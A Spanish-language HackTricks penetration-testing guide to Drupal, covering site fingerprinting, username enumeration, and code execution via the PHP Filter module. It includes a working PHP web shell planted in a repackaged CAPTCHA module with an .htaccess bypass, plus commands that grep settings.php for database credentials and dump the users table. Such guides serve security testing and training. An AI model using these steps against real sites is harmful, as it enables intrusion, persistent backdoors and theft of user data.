hacktricks/network-services-pentesting/pentesting-web/drupal.md

9.1 KiB

Drupal

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

{% embed url="https://websec.nl/" %}

Descubrimiento

  • Verifica meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Nodo: Drupal indexa su contenido utilizando nodos. Un nodo puede contener cualquier cosa como una publicación de blog, encuesta, artículo, etc. Las URIs de las páginas suelen tener la forma /node/<nodeid>.
curl drupal-site.com/node/1

Enumeración

Drupal admite tres tipos de usuarios de forma predeterminada:

  1. Administrador: Este usuario tiene control total sobre el sitio web de Drupal.
  2. Usuario Autenticado: Estos usuarios pueden iniciar sesión en el sitio web y realizar operaciones como agregar y editar artículos según sus permisos.
  3. Anónimo: Todos los visitantes del sitio web se designan como anónimos. Por defecto, a estos usuarios solo se les permite leer publicaciones.

Versión

  • Verificar /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Las nuevas instalaciones de Drupal bloquean por defecto el acceso a los archivos CHANGELOG.txt y README.txt. {% endhint %}

Enumeración de nombres de usuario

Registro

En /user/register simplemente intenta crear un nombre de usuario y si el nombre ya está tomado, se te notificará:

Solicitar nueva contraseña

Si solicitas una nueva contraseña para un nombre de usuario existente:

Si solicitas una nueva contraseña para un nombre de usuario que no existe:

Obtener número de usuarios

Accediendo a /user/<número> puedes ver la cantidad de usuarios existentes, en este caso son 2 ya que /users/3 devuelve un error de no encontrado:

Páginas ocultas

Fuzz /node/$ donde $ es un número (de 1 a 500 por ejemplo).
Podrías encontrar páginas ocultas (de prueba, desarrollo) que no están referenciadas por los motores de búsqueda.

Información de módulos instalados

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Automático

droopescan scan drupal -u http://drupal-site.local

RCE

Con el Módulo Filtro PHP

{% hint style="warning" %} En versiones antiguas de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter, que "Permite evaluar código/snippets PHP incrustados." {% endhint %}

Necesitas que el plugin php esté instalado (verifica accediendo a /modules/php y si devuelve un 403 entonces, existe, si no se encuentra, entonces el plugin php no está instalado)

Ve a Módulos -> (Marca) Filtro PHP -> Guardar configuración

Luego haz clic en Agregar contenido -> Selecciona Página básica o Artículo -> Escribe código shell php en el cuerpo -> Selecciona Código PHP en Formato de texto -> Selecciona Vista previa

Finalmente solo accede al nodo recién creado:

curl http://drupal-site.local/node/3

Instalar el Módulo PHP Filter

Desde la versión 8 en adelante, el módulo PHP Filter no se instala por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.

  1. Descargar la versión más reciente del módulo desde el sitio web de Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Una vez descargado, ir a Administración > Informes > Actualizaciones disponibles.
  4. Hacer clic en Examinar, seleccionar el archivo del directorio donde lo descargamos y luego hacer clic en Instalar.
  5. Una vez instalado el módulo, podemos hacer clic en Contenido y crear una nueva página básica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrese de seleccionar Código PHP desde el menú desplegable de Formato de texto.

Módulo con Puerta Trasera

Un módulo con puerta trasera se puede crear agregando un shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Elija un módulo como CAPTCHA. Desplácese hacia abajo y copie el enlace para el archivo tar.gz archivo.

  • Descargue el archivo y extraiga su contenido.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Crear una shell web en PHP con el contenido:
<?php
system($_GET["cmd"]);
?>
  • A continuación, necesitamos crear un archivo .htaccess para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta /modules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copia ambos de estos archivos a la carpeta captcha y crea un archivo.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Suponiendo que tenemos acceso administrativo al sitio web, haz clic en Administrar y luego en Extender en la barra lateral. A continuación, haz clic en el botón + Instalar nuevo módulo, y seremos llevados a la página de instalación, como http://drupal-site.local/admin/modules/install. Navega hasta el archivo de Captcha con puerta trasera y haz clic en Instalar.
  • Una vez que la instalación tenga éxito, navega a /modules/captcha/shell.php para ejecutar comandos.

Post Explotación

Leer settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Volcar usuarios de la base de datos

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Referencias

{% embed url="https://websec.nl/" %}

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: